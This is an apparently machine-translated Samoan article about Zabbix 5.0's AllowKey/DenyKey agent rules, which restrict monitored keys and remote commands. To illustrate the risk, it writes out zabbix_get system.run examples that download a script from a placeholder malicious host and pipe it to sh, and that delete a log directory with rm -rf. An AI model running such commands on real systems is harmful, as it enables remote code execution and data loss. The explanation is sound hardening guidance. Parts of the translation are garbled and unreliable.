
Lisi uliuli ma le lisi papa'e lagolago mo fua fa'atatau a sui
Tikhon Uskov, Inisinia Tuufaatasi, Zabbix
Fa'amatalaga saogalemu
O le Zabbix 5.0 o loʻo i ai se foliga fou e mafai ai e oe ona faʻaleleia le saogalemu i faiga e faʻaaoga ai le Zabbix Agent ma sui ai le parakalafa tuai. EnableRemoteCommands.
O le faʻaleleia atili o le puipuiga o faiga faʻavae e mafua mai i le mea moni e mafai e se sooupu ona faia se numera tele o gaioiga e ono lamatia ai.
- E mafai e le sooupu ona aoina toetoe lava o soʻo se faʻamatalaga, e aofia ai faʻamatalaga faʻalilolilo pe ono lamatia, mai faila faila, faila faila, faila faila, poʻo isi faila.
Mo se faʻataʻitaʻiga, faʻaaoga le zabbix_get aoga e mafai ona e mauaina se lisi o tagata faʻaoga, latou lisi o fale, faila faila, ma isi.

Avanoa faʻamatalaga e faʻaaoga ai le aoga zabbix_get
FAʻAALIGA. E faatoa mafai ona toe maua mai fa'amatalaga pe a faitau e le sooupu le fa'atagaga i le faila e fetaui. Ae, mo se faʻataʻitaʻiga, o le faila /etc/passwd/ mafai ona faitau e tagata uma.
- E mafai fo'i e le sooupu ona fa'atino ni fa'atonuga e ono lamatia ai. Mo se faʻataʻitaʻiga, ki *system.run[]** fa'atagaina oe e fa'atino so'o se fa'atonuga mamao i nodes feso'ota'iga, e aofia ai fa'amaumauga fa'agasolo mai le upegatafa'ilagi a le Zabbix e fa'atino ai fo'i fa'atonuga ile itu sui.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- В Linux E tamo'e le sui e aunoa ma ni fa'amanuiaga fa'a-root i le tulaga masani, ae i totonu Windows E fa'agaoioia o se tautua i lalo o le igoa System ma e leai se tapula'a o le avanoa i le faila o le polokalama. O le mea lea, se'i vagana ua faia ni suiga i fa'atulagaga a le Zabbix Agent pe a uma ona fa'apipi'i, e mafai e le agent ona maua le avanoa i le resitala, faila o le polokalama, ma e mafai ona fa'atino fesili a le WMI.
I lomiga muamua o le parakalafa EnableRemoteCommands=0 fa'atagaina na'o le fa'agata o fua fa'atatau i le ki *system.run[]** ma fa'agasolo fa'asologa mai le upega tafa'ilagi, ae leai se auala e fa'agata ai le avanoa i faila ta'itasi, fa'ataga pe fa'agata ki ta'itasi na fa'apipi'i i le sui sooupu, pe fa'agata le fa'aogaina o ta'iala ta'itasi.

Faʻaaogaina le EnableRemoteCommand parakalafa i lomiga muamua o Zabbix
AllowKey/DenyKey
O le Zabbix 5.0 e fesoasoani e puipuia mai ia avanoa e le fa'atagaina e ala i le tu'uina atu o lisi papa'e ma lisi uliuli mo le fa'atagaina ma le fa'afitia o metric i le itu sooupu.
I le Zabbix 5.0 ki uma, e aofia ai *system.run[]** ua mafai, ma e lua ni filifiliga fou o le fetuutuunaiga o sui ua faaopoopo:
AllowKey= - siaki fa'atagaina;
Te'enaKey= - siaki fa'asaina;
o fea o loʻo i ai se mamanu igoa autu ma faʻamaufaʻailoga e faʻaogaina metacharacters (*).
O ki AllowKey ma DenyKey e fa'atagaina oe e fa'atagaina pe fa'afitia fua fa'atatau e fa'atatau i se fa'ata'ita'iga patino. E le pei o isi fa'amaufa'ailoga, e le fa'atapula'aina le aofa'i o fa'ataga AllowKey/DenyKey. O lenei mea e mafai ai e oe ona faʻamalamalama manino le mea tonu e mafai e le sooupu ona fai i totonu o le faiga e ala i le fatuina o se laʻau o siaki - ki faʻatinoina, lea o le faasologa o loʻo tusia ai e taua tele.
Fa'asologa o tulafono
O tulafono e siakiina i le faasologa o loʻo tuʻuina atu ai i totonu o le faila faʻatulagaina. E siaki le ki e tusa ai ma tulafono aʻo leʻi faia le taʻaloga muamua, ma o le taimi lava e fetaui ai le ki o le elemene faʻamaumauga ma le mamanu, e faʻatagaina pe faʻafitia. A mae'a lea, taofi le siakiina o tulafono ae le amana'ia ki o totoe.
O le mea lea, afai o se elemene e fetaui ma le faatagaina ma le fa'afitia tulafono, o le a fa'alagolago le i'uga po'o le fea tulafono e muamua i le faila fa'atulagaina.

2 tulafono eseese ma le mamanu tutusa ma se ki vfs.file.size[/tmp/file]
Le fa'asologa o le fa'aogaina o ki AllowKey/DenyKey:
- tulafono tonu,
- tulafono lautele,
- tulafono fa'asa.
Mo se faʻataʻitaʻiga, afai e te manaʻomia le avanoa i faila i totonu o se faila, e tatau ona e faʻatagaina muamua le avanoa ia i latou, ona faʻafitia lea o isi mea uma e le pa'ū i totonu o faʻatagaga faʻavae. Afai e fa'aaoga muamua le tulafono fa'afiti, o le a fa'afitia le avanoa i le faila.

Fa'asologa sa'o
Afai e te manaʻomia le faʻatagaina o mea aoga e 2 e faʻatautaia e ala i *system.run[]**, ma o le a faʻamaonia muamua le tulafono faʻafitia, o le a le faʻalauiloaina mea aoga, aua o le mamanu muamua o le a fetaui ma soʻo se ki, ma o le a le amanaiaina tulafono mulimuli ane.

Sese fa'asologa
Mamanu
Tulafono faavae
Fa'ata'ita'iga o se fa'aaliga fa'atasi ma fa'ailoga. O le metacharacter (*) e fetaui ma so'o se numera o so'o se mataitusi i se tulaga patino. Metacharacers e mafai ona faʻaogaina uma i le igoa autu ma i faʻamau. Mo se faʻataʻitaʻiga, e mafai ona e faʻamalamalama manino le parakalafa muamua i tusitusiga, ma fa'amaoti le isi e fai ma wildcard.
E tatau ona fa'amauina fa'amau i puipui sikuea [].
system.run[*- le sa'ovfs.file*.txt]- le sa'ovfs.file.*[*]- tauagavale
Fa'ata'ita'iga o le fa'aogaina o le wildcard.
- I le igoa autu ma i le parakalafa. I lenei tulaga, o le ki e le fetaui ma se ki tutusa e le oi ai se parakalafa, talu ai i le mamanu na matou faʻaalia ai matou te manaʻo e maua se faʻaiʻuga o le igoa autu ma se seti o taʻiala.
- Afai e le faʻaogaina e le mamanu faʻamaufaʻailoga sikuea, e faʻatagaina e le mamanu ki uma e le o iai ni faʻamaufaʻailoga ma faʻafitia uma ki o loʻo i ai le parakalafa faʻamaonia.
- Afai o le ki e tusia atoa ma faʻamautu faʻamaufaʻailoga e pei o wildcard, o le a fetaui ma soʻo se ki tutusa ma soʻo se faʻamaufaʻailoga ma o le a le fetaui ma le ki e aunoa ma ni puipui sikuea, o lona uiga o le a faʻatagaina pe faʻafitia.

Tulafono mo le fa'atumuina o tapula'a.
- Afai e faʻamoemoe e faʻaaogaina se ki faʻatasi ai ma faʻamaufaʻailoga, e tatau ona faʻamaonia faʻamau i le faila faʻatulagaina. E tatau ona fa'amaoti mai fa'ata'ita'iga o se metacharacter. E mana'omia le fa'afitia ma le fa'aeteete le avanoa i so'o se faila ma amana'ia po'o a fa'amatalaga e mafai e le metric ona tu'uina atu i lalo o sipelaga eseese - fa'atasi ma leai ni fa'amau.

Vaega o le tusitusi ki ma fa'amaufa'ailoga
- Afai e faʻamaonia se ki ma faʻamaufaʻailoga, ae o faʻamaufaʻailoga e filifili ma faʻamaonia o se metacharacter, o se ki e aunoa ma ni faʻamaufaʻailoga o le a foia. Mo se faʻataʻitaʻiga, afai e te manaʻo e faʻamalo le mauaina o faʻamatalaga e uiga i le uta i luga o le PPU ma faʻamaonia e tatau ona le atoatoa le system.cpu.load [*] ki, aua neʻi galo o le ki e aunoa ma ni faʻamaufaʻailoga o le a toe faʻafoʻi ai le tau o le uta averesi.

Tulafono mo le fa'atumuina o tapula'a
Faamatalaga
tonu
- O nisi tulafono e le mafai ona suia e le tagata faʻaoga, mo se faʻataʻitaʻiga, tulafono suʻesuʻe poʻo tulafono faʻamaufaʻailoga a le sooupu. AllowKey/DenyKey tulafono e le afaina ai vaega nei:
- HostnameItem
- HostMetadataItem
- HostInterfaceItem
FAʻAALIGA. Afai e faʻagata e le pule se ki, pe a fesiligia, e le tuʻuina atu e Zabbix faʻamatalaga e uiga i le mafuaʻaga e paʻu ai le metric poʻo le ki i le 'vaegaE LE lagolagoina'. O faʻamatalaga e uiga i faʻasaina i le faʻatinoina o poloaiga mamao e le o faʻaalia foi i faila faila a le sui. E mafua lenei mea mo mafuaaga saogalemu, ae e mafai ona faʻalavelaveina le faʻapipiʻiina pe a pa'ū metric i se vaega e le lagolagoina mo nisi mafuaaga.
- E le tatau ona e fa'alagolago i so'o se fa'atonuga fa'apitoa mo le fa'afeso'ota'iina o faila fa'aopoopo i fafo (mo se fa'ata'ita'iga, i le fa'asologa o alafapeta).
Poloaiga Line Utilities
A maeʻa ona faʻatulagaina tulafono, e tatau ona e mautinoa o loʻo faʻapipiʻi saʻo mea uma.
E mafai ona e faʻaogaina se tasi o filifiliga e tolu:
- Fa'aopoopo se metric i le Zabbix.
- Su'ega ma zabbix_agentd. Zabbix sooupu ma le filifiliga -lolomi (-p) fa'aalia ki uma (lea e fa'atagaina ona o le fa'aletonu) se'i vagana i latou e le fa'atagaina e le fa'atulagaga. Ma faatasi ai ma le filifiliga -su'ega (-t) auā e toe fo'i mai se ki fa'asa'Ki aitema lē lagolagoina'.
- Su'ega ma zabbix_get. Fa'aoga zabbix_get ma le filifiliga -k e toe fo'i mai 'ZBX_NOTSUPPORTED: Le iloa metric'.
Fa'ataga pe fa'afiti
E mafai ona e faʻafitia le avanoa i se faila ma faʻamaonia, mo se faʻataʻitaʻiga, faʻaaoga le aoga zabbix_getua teena le avanoa i le faila.

**
FAʻAALIGA. O upusii i le parakalafa e le amanaiaina.
I lenei tulaga, o le avanoa i se faila e mafai ona faatagaina e ala i se isi auala. Mo se faʻataʻitaʻiga, pe afai o se symlink e tau atu i ai.

E fautuaina e siaki filifiliga eseese mo le faʻaaogaina o tulafono faʻapitoa, ma ia amanaia foi avanoa e faʻafefe ai faʻasaina.
Fesili ma tali
Lau fesili. Aisea na filifilia ai se mamanu lavelave ma lana lava gagana e faamatala ai tulafono, faatagaga ma tapu? Aiseā na lē mafai ai ona faaaogā, mo se faaaʻoaʻoga, faaupuga masani e faaaogā e Zabbix?
Tali. Ole mea lea ole regex fa'atinoga talu ai e masani lava e na'o le tasi le sooupu ma e siakiina le tele o metrics. O le Regex ose galuega mamafa ma e le mafai ona matou siakiina le faitau afe o metric i lenei auala. Wildcards - o se fofo lautele, faʻaoga lautele ma faigofie.
Lau fesili. E le o aofia ea faila i le fa'asologa o alafapeta?
Tali. E pei ona ou iloa, e toetoe lava a le mafai ona vavalo le faʻatonuga o le a faʻaaogaina tulafono pe a e faʻasalalau tulafono i faila eseese. Ou te fautuaina le aoina uma o tulafono AllowKey/DenyKey i le tasi Fa'aaofia faila, aua e fegalegaleai le tasi ma le isi, ma aofia ai le faila lea.
Lau fesili. I le Zabbix 5.0 le filifiliga 'EnableRemoteCommands=' o lo'o misi mai le faila fa'atulagaina, ae na'o AllowKey/DenyKey o lo'o avanoa?
Tali. Ioe e sa'o.
Faafetai mo lau gauai!
puna: www.habr.com
